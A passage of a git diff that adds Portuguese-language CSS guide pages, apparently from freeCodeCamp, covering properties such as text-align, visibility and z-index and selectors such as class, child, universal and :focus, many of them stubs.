+    .fixed          { position: fixed; } 
+    .absolute       { position: absolute; } 
+```
+
+#### Mais Informações:
+
+Documentos: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/position)
+
+Suporte ao Navegador: [caniuse](http://caniuse.com/#search=position)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/text-align-property/index.md b/client/src/guide/portuguese/css/properties/text-align-property/index.md
new file mode 100644
index 0000000000..c7999a1bb6
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/text-align-property/index.md
@@ -0,0 +1,20 @@
+---
+title: Text Align Property
+localeTitle: Propriedade Alinhar Texto
+---
+## Propriedade Alinhar Texto
+
+A propriedade text-align especifica o alinhamento horizontal do texto em um elemento.
+
+```css
+    .text-align { 
+        /* List of keyword values of text-align property*/ 
+        text-align: left|right|center|justify|initial|inherit; 
+    } 
+```
+
+#### Mais Informações:
+
+Documentos: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align)
+
+Suporte ao Navegador: Ele é categorizado sob o "subconjunto bem suportado", portanto, não precisa se preocupar com suporte ao navegador
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/text-decoration-property/index.md b/client/src/guide/portuguese/css/properties/text-decoration-property/index.md
new file mode 100644
index 0000000000..ff2bec6d85
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/text-decoration-property/index.md
@@ -0,0 +1,24 @@
+---
+title: Text Decoration Property
+localeTitle: Propriedade de decoração de texto
+---
+## Propriedade de decoração de texto
+
+A propriedade text-decoration especifica a decoração adicionada ao texto. Tem 6 valores possíveis:
+
+```css
+    .none {text-decoration: none} 
+    .underline {text-decoration: underline} 
+    .line-through {text-decoration: line-through} 
+    .overline {text-decoration: overline} 
+    .initial {text-decoration: initial} 
+    .inherit {text-decoration: inherit} 
+```
+
+**Nota** : Em CSS3, você pode usar a propriedade text-decoration-color para alterar a cor da decoração, caso contrário, a cor será igual à cor do texto.
+
+#### Mais Informações:
+
+Documentos: [Mozilla Developer Network](https://developer.mozilla.org/en-US/docs/Web/CSS/text-decoration)
+
+Suporte ao Navegador: [Caniuse](http://caniuse.com/#search=text-decoration)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/text-indent-property/index.md b/client/src/guide/portuguese/css/properties/text-indent-property/index.md
new file mode 100644
index 0000000000..4055ec4493
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/text-indent-property/index.md
@@ -0,0 +1,35 @@
+---
+title: Text Indent Property
+localeTitle: Propriedade de recuo de texto
+---
+## Propriedade de recuo de texto
+
+A propriedade css `text-indent` especifica a quantidade de recuo (espaço vazio) que é colocado antes das linhas de texto em um bloco. Por padrão, isso controla o recuo somente da primeira linha formatada do bloco, mas as palavras `each-line` chave `hanging` e de `each-line` podem ser usadas para alterar esse comportamento.
+
+**Palavras-chave**
+
+`hanging` - O recuo afeta a primeira linha do contêiner do bloco, bem como cada linha após uma quebra de linha forçada, mas não afeta as linhas após uma quebra de quebra automática.
+
+`each-line` - Inverte quais linhas são recuadas. Todas as linhas, exceto a primeira linha, serão recuadas.
+
+**Sintaxe**
+
+```css
+  /* <length> values */ 
+  text-indent: 40px; 
+ 
+  /* <percentage> value relative to the containing block width */ 
+  text-indent: 10%; 
+ 
+  /* Keyword values */ 
+  text-indent: 2em each-line; 
+  text-indent: 2em hanging; 
+  text-indent: 2em hanging each-line; 
+```
+
+_Observação: atualmente, o suporte a palavras-chave `hanging` e a `each-line` só está disponível por trás do sinalizador de recursos da Plataforma Web Experimental_
+
+### Mais Informações:
+
+*   [MDN Doc on `text-indent`](https://developer.mozilla.org/en-US/docs/Web/CSS/text-indent)
+*   [Suporte do navegador para `text-indent`](http://caniuse.com/#feat=css-text-indent)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/text-transform-property/index.md b/client/src/guide/portuguese/css/properties/text-transform-property/index.md
new file mode 100644
index 0000000000..387ef70227
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/text-transform-property/index.md
@@ -0,0 +1,34 @@
+---
+title: Text Transform Property
+localeTitle: Propriedade de transformação de texto
+---
+## Propriedade de transformação de texto
+
+A propriedade `text-transform` em CSS controla maiúsculas e minúsculas e permite esse controle sem depender do texto original que é gravado.
+
+Os valores mais usados ​​para essa propriedade são `lowercase` , `uppercase` e `capitalize` .
+```
+<style> 
+ .lowercased { 
+  text-transform: lowercase; 
+ } 
+ 
+ .uppercased { 
+  text-transform: uppercase; 
+ } 
+ 
+ .capitalized { 
+  text-transform: capitalize; 
+ } 
+ </style> 
+ 
+ <p class="uppercased">this text was lowercase.</p> <!-- = THIS TEXT WAS LOWERCASE. --> 
+ <p class="lowercased">THIS TEXT WAS UPPERCASE.</p> <!-- = this text was uppercase. --> 
+ <p class="capitalized">this text wasn't capitalized.</p> <!-- = This Text Wasn't Capitalized. --> 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/text-transform)
+
+[Truques de CSS](https://css-tricks.com/almanac/properties/t/text-transform/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/vertical-align-property/index.md b/client/src/guide/portuguese/css/properties/vertical-align-property/index.md
new file mode 100644
index 0000000000..092fa14ec9
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/vertical-align-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Vertical Align Property
+localeTitle: Propriedade de Alinhamento Vertical
+---
+## Propriedade de Alinhamento Vertical
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/vertical-align-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/visibility-property/index.md b/client/src/guide/portuguese/css/properties/visibility-property/index.md
new file mode 100644
index 0000000000..42586705b4
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/visibility-property/index.md
@@ -0,0 +1,32 @@
+---
+title: Visibility Property
+localeTitle: Propriedade de visibilidade
+---
+## Propriedade de visibilidade
+
+A propriedade de visibilidade pode ser usada para controlar a visibilidade de qualquer elemento. O valor padrão é `visibility: visible;`
+
+#### Valores possíveis:
+
+A propriedade de visibilidade pode ter 5 valores possíveis.
+
+1.  `visible` : é o valor padrão que mostra um elemento.
+2.  `hidden` : Esse valor oculta um elemento, mas preserva o layout ou o espaço ocupado pelo elemento.
+3.  `collapse` : esses valores são semelhantes aos ocultos, mas são aplicáveis ​​às linhas ou colunas da tabela. Esconde o conteúdo da linha ou coluna.
+4.  `initial` : define a propriedade para seu valor padrão (visível).
+5.  `inherit` : herda o valor da propriedade daquele de seu elemento pai.
+
+#### Semelhanças e diferenças com outras propriedades:
+
+1.  opacidade: A diferença entre propriedade de `visibility` e propriedade de `opacity` , é a opacidade pode ser usada para desvanecer e elemento. `visibility: hidden;` e `opacity: 0;` tem efeito semelhante em um elemento.
+    
+2.  display: A única diferença entre visibilidade: oculto; e exibir: nenhum; é que, o último remove o layout ou espaço ocupado pelo elemento também.
+    
+
+#### Compatibilidade do Navegador:
+
+Esta é uma propriedade CSS2 e é compatível com todos os principais navegadores.
+
+#### Mais Informações:
+
+[Visibilidade CSS - w3school](https://www.w3schools.com/cssref/pr_class_visibility.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/white-space-property/index.md b/client/src/guide/portuguese/css/properties/white-space-property/index.md
new file mode 100644
index 0000000000..504375927c
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/white-space-property/index.md
@@ -0,0 +1,36 @@
+---
+title: White Space Property
+localeTitle: Propriedade do espaço em branco
+---
+## Propriedade do espaço em branco
+
+A propriedade de espaço em branco define como exibir espaços entre palavras.
+
+#### Sintaxe
+
+espaço em branco: normal | nowrap | pre | pré-linha | pre-wrap | herdar
+
+#### Exemplo
+```
+p { 
+  white-space: nowrap; 
+ } 
+```
+
+#### Valores
+
+Normal: valor padrão. Seqüências de espaço em branco entrarão em colapso em um único espaço em branco. O texto será quebrado quando necessário. Nowrap: Sequências de espaço em branco irão colapsar em um único espaço em branco. O texto nunca será quebrado na próxima linha. Pré: o espaço em branco é preservado pelo navegador. O texto só será quebrado nas quebras de linha. Atos como o
+
+ tag em HTML. 
+ Pré-linha: Seqüências de espaços em branco irão colapsar em um único espaço em branco. O texto será quebrado quando necessário. 
+ Pre-wrap: o espaço em branco é preservado pelo navegador. O texto será quebrado quando necessário. 
+ Inicial: define essa propriedade como seu valor padrão. 
+ Herdar: herda essa propriedade de seu elemento pai. 
+
+####  Fonte: 
+
+ [Espaço em Branco nas W3schools](https://www.w3schools.com/cssref/pr_text_white-space.asp) 
+
+####  Mais Informações: 
+
+ [Espaço em branco no MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/white-space) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/width-property/index.md b/client/src/guide/portuguese/css/properties/width-property/index.md
new file mode 100644
index 0000000000..758d88a97d
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/width-property/index.md
@@ -0,0 +1,25 @@
+---
+title: Width Property
+localeTitle: Propriedade de largura
+---
+## Propriedade de largura
+
+A propriedade width define a largura de um elemento. Pode ser um valor de palavra-chave, um valor de comprimento (qualquer valor seguido por uma unidade CSS como px ou em), porcentagem ou pode ser herdado por seu pai. Por padrão, o valor é auto.
+
+**Nota** : A propriedade width não inclui preenchimento, margens ou margens; define a largura da área dentro do preenchimento, borda e margem do elemento!
+
+```css
+    .length-value {width: 100px;} 
+    .percentage {width: 50%;} 
+    .auto {width: auto;} 
+    .inherit {width: inherit;} 
+    .initial {width: initial;} 
+```
+
+**Nota** : As propriedades min-width e max-width substituem a largura.
+
+#### Mais Informações:
+
+Documentos: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/width)
+
+Suporte ao Navegador: Ele é categorizado sob o "subconjunto bem suportado", portanto, não precisa se preocupar com suporte ao navegador
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/z-index-property/index.md b/client/src/guide/portuguese/css/properties/z-index-property/index.md
new file mode 100644
index 0000000000..67246d99d5
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/z-index-property/index.md
@@ -0,0 +1,27 @@
+---
+title: Z Index Property
+localeTitle: Com propriedade de índice
+---
+## Propriedade do índice Z
+
+A propriedade z-index especifica a ordem da pilha de um elemento. Quaisquer elementos posicionados em uma página da Web podem se sobrepor em uma determinada ordem, imitando uma terceira dimensão perpendicular à tela. Um elemento com maior ordem de empilhamento sempre está na frente de um elemento com uma ordem de pilha menor. A ordem de empilhamento é controlada pelo índice z. Esta propriedade só funciona para elementos cujo valor de posição é definido como absoluto, fixo ou relativo.
+
+#### Sintaxe
+
+z-index: auto | número | inicial | herdam;
+
+#### Exemplo
+```
+div { 
+  position: absolute; 
+  z-index: -1; 
+ } 
+```
+
+#### Valores
+
+Auto: Define a ordem da pilha igual a seus pais. Este é o padrão. Número: define a ordem da pilha do elemento. Números negativos são permitidos. Quanto maior o valor, maior o elemento. Com um valor igual de z-index, o elemento descrito no código HTML abaixo estará na frente. Inicial: define essa propriedade como seu valor padrão. Herdar: herda essa propriedade de seu elemento pai.
+
+#### Mais Informações:
+
+[Z-index no MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/z-index) [Z-index onW3schools](https://www.w3schools.com/cssref/pr_pos_z-index.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors-reference/index.md b/client/src/guide/portuguese/css/selectors-reference/index.md
new file mode 100644
index 0000000000..7e502e5d36
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors-reference/index.md
@@ -0,0 +1,11 @@
+---
+title: Selectors Reference
+localeTitle: Referência de seletores
+---
+## Referência de seletores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors-reference/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/attribute/class-equals/index.md b/client/src/guide/portuguese/css/selectors/attribute/class-equals/index.md
new file mode 100644
index 0000000000..cb19af120d
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/attribute/class-equals/index.md
@@ -0,0 +1,11 @@
+---
+title: Class Equals
+localeTitle: Classe igual
+---
+## Classe igual
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/attribute/class-equals/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/attribute/class/index.md b/client/src/guide/portuguese/css/selectors/attribute/class/index.md
new file mode 100644
index 0000000000..1edc7424b2
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/attribute/class/index.md
@@ -0,0 +1,29 @@
+---
+title: Class
+localeTitle: Classe
+---
+## Classe
+
+O seletor de "classe" CSS é usado para aplicar o mesmo estilo a vários elementos na página. Uma ótima maneira de pensar nisso seria como a planta de um carro ou edifício. O plano permitirá que você construa vários carros ou vários edifícios da mesma maneira depois de projetar o layout real uma vez.
+
+### Casos de Uso
+
+Ao contrário dos nomes das classes CSS “ID”, os nomes não são exclusivos. Portanto, é bom que você use uma "classe" várias vezes se quiser que esses elementos tenham o mesmo estilo aplicado. Na verdade, esse seria um ótimo momento para você usar uma "aula". Se você quiser que três elementos "div" em seu HTML tenham um plano de fundo azul, você pode usar uma classe em seu CSS, como visto no exemplo. abaixo.
+```
+<html> 
+ <style> 
+  .blueBg { 
+    background-color: blue; 
+  } 
+ </style> 
+  <body> 
+    <div class="blueBg"></div> 
+    <div class="blueBg"></div> 
+    <div class="blueBg"></div> 
+  </body> 
+ </html> 
+```
+
+#### Mais Informações:
+
+Se você gostaria de obter mais informações sobre o seletor "classe" CSS, visite [esta página](https://css-tricks.com/the-difference-between-id-and-class/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/attribute/dollar-sign-equals/index.md b/client/src/guide/portuguese/css/selectors/attribute/dollar-sign-equals/index.md
new file mode 100644
index 0000000000..94385fd45f
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/attribute/dollar-sign-equals/index.md
@@ -0,0 +1,18 @@
+---
+title: Dollar Sign Equals
+localeTitle: Cifrão
+---
+## Cifrão
+
+O seletor de atributo CSS do sinal de dólar ou $ é usado para selecionar atributos que terminam com um valor específico.
+
+#### Exemplo
+
+Se você quiser pesquisar todos os links de âncora do tipo de arquivo .pdf e torná-los vermelhos, você pode fazer assim:
+
+```css
+a[href$=".pdf"] { 
+   color: red; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/attribute/hat-equals/index.md b/client/src/guide/portuguese/css/selectors/attribute/hat-equals/index.md
new file mode 100644
index 0000000000..679d46d048
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/attribute/hat-equals/index.md
@@ -0,0 +1,11 @@
+---
+title: Hat Equals
+localeTitle: Hat Equals
+---
+## Hat Equals
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/attribute/hat-equals/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/attribute/index.md b/client/src/guide/portuguese/css/selectors/attribute/index.md
new file mode 100644
index 0000000000..d04cc19ec8
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/attribute/index.md
@@ -0,0 +1,11 @@
+---
+title: Attribute
+localeTitle: Atributo
+---
+## Atributo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/attribute/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/attribute/star/index.md b/client/src/guide/portuguese/css/selectors/attribute/star/index.md
new file mode 100644
index 0000000000..76a3d57089
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/attribute/star/index.md
@@ -0,0 +1,18 @@
+---
+title: Star
+localeTitle: Estrela
+---
+## Estrela
+
+O seletor de atributos Star CSS ou \* é usado para selecionar atributos que contêm um valor específico.
+
+#### Exemplo
+
+Se você deseja pesquisar todos os links de âncora que contêm "código" em qualquer lugar no valor da URL e torná-los amarelos, você pode fazer assim:
+
+```css
+a[href*="code"] { 
+   color: yellow; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/general/ajacent-sibling/index.md b/client/src/guide/portuguese/css/selectors/general/ajacent-sibling/index.md
new file mode 100644
index 0000000000..86835132f3
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/general/ajacent-sibling/index.md
@@ -0,0 +1,11 @@
+---
+title: Ajacent Sibling
+localeTitle: Irmão Ajacente
+---
+## Irmão Ajacente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/general/ajacent-sibling/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/general/child/index.md b/client/src/guide/portuguese/css/selectors/general/child/index.md
new file mode 100644
index 0000000000..4cb1354197
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/general/child/index.md
@@ -0,0 +1,27 @@
+---
+title: Child
+localeTitle: Criança
+---
+## Criança
+
+O seletor filho é representado por `>` e é colocado entre dois seletores: `parent > child` . Ele corresponde a qualquer segundo seletor que são filhos do primeiro seletor (o pai). O segundo seletor deve ser filho imediato do primeiro.
+
+Aqui está um exemplo da sintaxe:
+
+```css
+first selector (parent) > second selector (child) { 
+    css declarations; 
+ } 
+```
+
+Aqui está um exemplo de código que corresponde a todos os elementos de `span` imediata de um pai `div` :
+
+```css
+div > span { 
+    background-color: red; 
+ } 
+```
+
+### Mais Informações:
+
+*   [W3C Child Selector Working Draft](https://www.w3.org/TR/CSS22/selector.html#child-selectors)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/general/descendant/index.md b/client/src/guide/portuguese/css/selectors/general/descendant/index.md
new file mode 100644
index 0000000000..dd32c5cc8c
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/general/descendant/index.md
@@ -0,0 +1,11 @@
+---
+title: Descendant
+localeTitle: Descendente
+---
+## Descendente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/general/descendant/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/general/general-sibling/index.md b/client/src/guide/portuguese/css/selectors/general/general-sibling/index.md
new file mode 100644
index 0000000000..49d9ad7664
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/general/general-sibling/index.md
@@ -0,0 +1,11 @@
+---
+title: General Sibling
+localeTitle: Irmão Geral
+---
+## Irmão Geral
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/general/general-sibling/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/general/id/index.md b/client/src/guide/portuguese/css/selectors/general/id/index.md
new file mode 100644
index 0000000000..2b77f20447
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/general/id/index.md
@@ -0,0 +1,11 @@
+---
+title: Id
+localeTitle: Identidade
+---
+## Identidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/general/id/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/general/index.md b/client/src/guide/portuguese/css/selectors/general/index.md
new file mode 100644
index 0000000000..0d2e7820d0
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/general/index.md
@@ -0,0 +1,11 @@
+---
+title: General
+localeTitle: Geral
+---
+## Geral
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/selectors/general/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/general/type/index.md b/client/src/guide/portuguese/css/selectors/general/type/index.md
new file mode 100644
index 0000000000..af3550693e
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/general/type/index.md
@@ -0,0 +1,37 @@
+---
+title: Type
+localeTitle: Tipo
+---
+## Tipo
+
+O Seletor de tipos seleciona elementos por nome de nó (tag).
+
+#### Sintaxe do Código
+
+```css
+* { 
+    css declarations; 
+ } 
+```
+
+#### Exemplo de código
+
+```css
+h1 { 
+    background-color: red; 
+ } 
+```
+
+seleciona todo o elemento h1 e define a cor de fundo em vermelho.
+
+```css
+div { 
+    width: 100px; 
+ } 
+```
+
+seleciona todo o elemento div e ajusta a largura do elemento 100px.
+
+#### Mais Informações:
+
+*   [Esboço de trabalho do W3C](https://www.w3.org/TR/CSS22/selector.html#type-selectors)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/general/universal/index.md b/client/src/guide/portuguese/css/selectors/general/universal/index.md
new file mode 100644
index 0000000000..cd5979c10b
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/general/universal/index.md
@@ -0,0 +1,48 @@
+---
+title: Universal
+localeTitle: Universal
+---
+## Universal
+
+O Seletor Universal (\*) seleciona todos os elementos. Também seleciona todos os elementos dentro de um elemento. Você pode anexar seletor universal com qualquer outro seletor.
+
+### Sintaxe do Código
+
+```css
+* { 
+  css declarations; 
+ } 
+```
+
+```css
+element * { 
+  css declarations; 
+ } 
+```
+
+#### Exemplo de código
+
+Esse seletor corresponde a todos os elementos e define a cor da fonte como verde.
+
+```css
+* { 
+  color: green; 
+ } 
+```
+
+Este seletor seleciona todos os elementos div e define a cor da fonte como verde.
+
+```css
+div * { 
+  color: green; 
+ } 
+```
+
+Este seletor seleciona todos os elementos cujo valor de atributo de idioma começa com en.
+
+```css
+* [lang^=en] { 
+  color: green; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/index.md b/client/src/guide/portuguese/css/selectors/index.md
new file mode 100644
index 0000000000..a50806876e
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/index.md
@@ -0,0 +1,48 @@
+---
+title: Selectors
+localeTitle: Seletores
+---
+# Seletores
+
+Os seletores são regras CSS para segmentar elementos HTML para aplicar estilos. Nomes de tags, nomes de classes, id e atributos são alguns dos ganchos usados ​​como seletores.
+
+## Sintaxe de Seletor
+
+Os seletores organizados em uma sequência específica criariam uma regra para segmentar elementos. Um exemplo,
+
+```css
+/* selects anchor tags */ 
+ a { 
+    color: orange; 
+ } 
+ 
+ /* selects elements with hero class */ 
+ .hero { 
+    text-align: center; 
+ } 
+```
+
+## Tipo de Seletores
+
+Digite | Descrição ------- | ------------ Seletores de tipo | Os nomes das tags são usados ​​para selecionar elementos como `h1` ou `a` . Seletor Universal | Seletor que se aplica a todos os elementos. `div *` combina todos os elementos nos elementos div. Seletor de Atributos | Seletores que segmentam elementos com base em seus atributos \[e, opcionalmente, seus valores\]. `h1[title]` seleciona elementos `h1` com atributo `title` . Seletor de Classe | Seletor que segmenta elementos usando seus nomes de classe. Seletor de ID | Seletor que usa o ID para segmentar elementos. `#logo` seleciona o elemento com o `logo` como ID. Seletor de pseudo-classe | Seletores especiais que segmentam elementos com base em seu estado. `a:hover` seletor `a:hover` aplica estilo quando o ponteiro passa sobre os links.
+
+## Combinadores Seletores
+
+Combinador | Propósito ----------- | ------------ `white space` | Combinador descendente. `.nav li` seleciona todos os `li` filhos dentro da classe `.nav` , incluindo elementos `li` aninhados. `>` | Combinador de crianças. `.menu > li` seleciona todos os li que são filhos diretos de elementos com classe `.menu` . `+` | Combinador irmão adjacente. `.logo + h1` segmenta `h1` que é um irmão imediato da classe `.logo` . `~` | Combinador irmão geral. `header ~ div` segmenta elementos `div` que são irmãos para elementos de `header` .
+
+Esta seção detalha todos esses eleitores.
+
+#### Mais Informações:
+
+Você pode aprender mais sobre seletores sobre esses recursos:
+
+*   [Especificação oficial dos seletores CSS3](https://www.w3.org/TR/css3-selectors)
+*   [Página de seletores na Mozilla Developer Network](https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors)
+*   [CSS Cheats Sheet de Seletores nos Guias FreeCodeCamp](https://guide.freecodecamp.org/css/tutorials/css-selectors-cheat-sheet)
+
+Os seletores em CSS (folhas de estilo em cascata) são determinados com base na _especificidade_ , com isso podemos ser mais específicos em nossas regras de estilo e substituir outras regras que podem estar visando o mesmo elemento, mas não são tão específicas. A maneira como essa hierarquia específica funciona é baseada em peso, significando um elemento. O seletor tem um peso de 1 (um), um seletor de classe tem um peso de 10 (dez) e um seletor de id tem um peso de Cem (100). Somos capazes de combinar seletores diferentes e ser mais específicos sobre o elemento que queremos mudar.
+
+Por exemplo:
+
+`css p { color: blue; } p .red { color: red; }` Nosso tipo seletor p selecionará todos os elementos p em nosso documento html, mas ele terá apenas o peso de um. Em contraste, o seletor de classe tem um peso de 11, porque estamos combinando um seletor de tipo com um seletor de classe (esse seletor está combinando todos os elementos p com uma classe de vermelho). - \* As regras direcionadas diretamente sempre terão precedência sobre as regras que herdam elementos de seu ancestral. - \* A especificidade é aplicada somente quando várias declarações estão direcionando o mesmo elemento, somente então essa regra é aplicada.  
+\- \* Especificidade é geralmente o motivo pelo qual algumas de suas regras de estilo não se aplicam a elementos quando você espera que elas sejam aplicadas.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/pseudo/active/index.md b/client/src/guide/portuguese/css/selectors/pseudo/active/index.md
new file mode 100644
index 0000000000..f00045217d
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/pseudo/active/index.md
@@ -0,0 +1,26 @@
+---
+title: Active
+localeTitle: Ativo
+---
+## Ativo
+
+O seletor CSS: active altera o estilo de um elemento HTML quando um usuário ativa o elemento. Esse seletor geralmente fornece a confirmação do usuário de que eles clicaram em um elemento. O: seletor ativo é mais comumente usado nos elementos `<a>` e `<button>` , mas pode ser usado em todos os elementos.
+
+Se vários pseudo seletores CSS estiverem sendo usados, o: seletor ativo deve vir após o seletor: hover.
+
+No exemplo abaixo, quando um usuário clica em um link, a cor do texto muda de preto para vermelho até que a ação de clique seja interrompida.
+
+```css
+a { 
+  color: black; 
+ } 
+ 
+ a:active { 
+  color: red; 
+ } 
+```
+
+#### Mais Informações:
+
+*   [Documento Web do MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:active)
+*   [Escolas W3](https://www.w3schools.com/cssref/sel_active.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/pseudo/focus/index.md b/client/src/guide/portuguese/css/selectors/pseudo/focus/index.md
new file mode 100644
index 0000000000..bd919008c3
--- /dev/null
+++ b/client/src/guide/portuguese/css/selectors/pseudo/focus/index.md
@@ -0,0 +1,63 @@
+---
+title: Focus
+localeTitle: Foco
+---
+## Foco
+
+### Definição
+
+O `:focus` representa um elemento que recebeu um estado de foco, acionado por um evento do teclado. A ação do gatilho vem pressionando a tecla **TAB** , que cria visualmente um anel ao redor de um elemento.
+
+### Sintaxe
+
+`:focus`
+
+### Exemplo
+```
+a:focus { 
+  color: red; 
+ } 
+```
+
+### Saída
+
+[JSfiddle Link](https://jsfiddle.net/ejae7vb3/1/)
+
+#### Mais Informações:
+
+[MDN - Rede de Desenvolvedores Mozilla | : foco - CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/:focus)
+
+A pseudo-classe CSS de focus é usada para selecionar o elemento que tem foco (como uma entrada de formulário).
+
+Geralmente é acionado quando o usuário clica ou toca em um elemento ou o seleciona com a tecla "tab" do teclado.
+
+Sintaxe:
+
+```css
+:focus 
+```
+
+## Exemplo
+
+HTML:
+
+```html
+
+<form> 
+  <input type="text" value="The background will turn yellow when you click on it."> 
+ </form> 
+```
+
+CSS:
+
+```css
+input:focus { 
+   background-color: yellow; 
+ } 
+```
+
+#### Mais Informações:
+
+Para mais informações, visite [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:focus)
+
+[W3.org | Documentação CSS](https://www.w3.org/TR/CSS2/selector.html#dynamic-pseudo-classes)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/selectors/pseudo/hover/index.md b/client/src/guide/portuguese/css/selectors/pseudo/hover/index.md
new file mode 100644
index 0000000000..4d9ea8fb74
--- /dev/null
